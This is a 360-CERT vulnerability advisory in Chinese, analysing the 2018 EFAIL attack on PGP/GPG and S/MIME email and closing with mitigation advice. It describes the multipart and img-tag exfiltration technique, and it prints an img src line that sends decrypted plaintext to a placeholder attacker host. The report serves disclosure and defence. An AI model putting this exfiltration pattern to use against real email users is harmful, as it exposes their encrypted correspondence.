EFAIL: PGP/GPG 和 S/MIME漏洞分析

t018ad4ac512da25de0

报告编号: B6-2018-051501

报告来源: 360-CERT

报告作者: 360-CERT

更新日期: 2018-05-15

漏洞背景

PGP/GPG 和 S/MIME是为电子邮件提供端到端安全的两个重要标准。

14日,欧洲安全研究员Sebastian Schinzel在twitter对 PGP/GPG 和 S/MIME 进行了漏洞预警,随后细节被公开。

360-CERT对漏洞持续关注,并对漏洞进行了详细分析。

漏洞详情

电子邮件客户端对邮件内容展示有多种方式,其中HTML渲染是最流行的一种。HTML支持网络资源的请求,例如<img/><input/><script><scirpt />等。

本次EFAIL攻击就是借助的<img />标签的src属性,将解密后的原文发送到攻击者控制的远程服务器上,从而造成信息泄露。

漏洞根本的原因,是因为电子邮件客户端在处理multipart邮件的时候,对每一个multipart独立处理,而在显示的时候,会将多multipart邮件的渲染到同一个HTML里面。这样在邮件显示的时候,明文和解密后的原文将在一起显示,在这里会有安全隐患。

渗透攻击

在电子邮件中允许多段存在,如图所示:

alt

其中multipart进行多part标识,protocol进行配置,同时使用boundary进行分割。

邮件客户端处理邮件时,会对每个part独立处理,但是最后将渲染到同一个HTML界面中。这样我们可以构造如下PoC来利用该特性:

alt

可以看到,PoC中利用boundary将邮件分为了三部分,分别为Content-Type: text/html ,Content-Type: multipart/encrypted;protocol=”application/pgp-encrypted”; ,和 Content-Type: text/html 。

  • 第一部分,定义一个img标签,src中为攻击者接受邮件明文的远程主机。注意:在这里,src的引号和img的/>不闭合。
  • 第二部分,为使用端到端加密后的邮件主体。
  • 第三部分,对第一部分的标签进行闭合。

因为邮件客户端对每个multipart独立处理,在这个过程中会对加密邮件进行解密。当受害者打开邮件的时,进行解密渲染,最后该邮件将解析为:

<img src="http://x.x.x.x/邮件明文">

这样的内容在受害者电子邮件客户端显示的时候,会发起http请求,将加密的邮件原文发往攻击者主机。

S/MIME缺陷

如果S/MIME采用CBC或者CFB模式,那么将会受到EFAIL攻击。

以CBC为例,CBC模式里是分段明文,每段数据都是通过头部与上一段密文亦或进行加密的。如下图所示:

alt

在(a)这里, 有已知数据IV,C0,P0, 整个揭秘过程会自动亦或后得到C2,C3的部分,也就是我们想要伸出的目标数据unknown plaintext。

攻击逻辑很简单,将已知的头部标记(明文段”Content-type”)的密文部分篡改为img标签,把加密的密文包裹起来。这样在解析显示的时候会达到和第一种方法相同的攻击效果。

漏洞演示

漏洞有许多攻击场景,例如中间人攻击。

alt

攻击者作为中间人劫持到邮件流量,在加密的邮件点前后添加multipart。用户受到邮件打开后,明文内容将被img标签发送给攻击者。达到加密邮件泄露的效果:

alt

漏洞影响面

漏洞影响包括window,linux, 安卓,IOS等在内的多平台多应用,具体影响范围如下图所示:

alt

安全建议

目前没有针对该漏洞的修复补丁,所以在漏洞修复之前,请广大用户立即禁用或卸载自动解密 PGP加密电子邮件的工具。不要阅读PGP加密的邮件。

同时请阅读以下指南,暂时禁用PGP插件以降低受攻击的可能:

雷鸟用户缓解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-thunderbird-enigmail】

Apple Mail用户缓解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-apple-mail-gpgtools】

outlook用户缓解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-outlook-gpg4win】

时间线

2018-05-14 漏洞披露

2018-05-14 360-CERT进行跟进分析

2018-05-15 发布漏洞分析报告

参考链接

  1. 漏洞paper
  2. EFF给出的缓解措施

上一篇:各大操作系统误读英特尔文档致内核可被劫持或崩溃

下一篇:0day漏洞组合拳:详细分析一款恶意PDF样本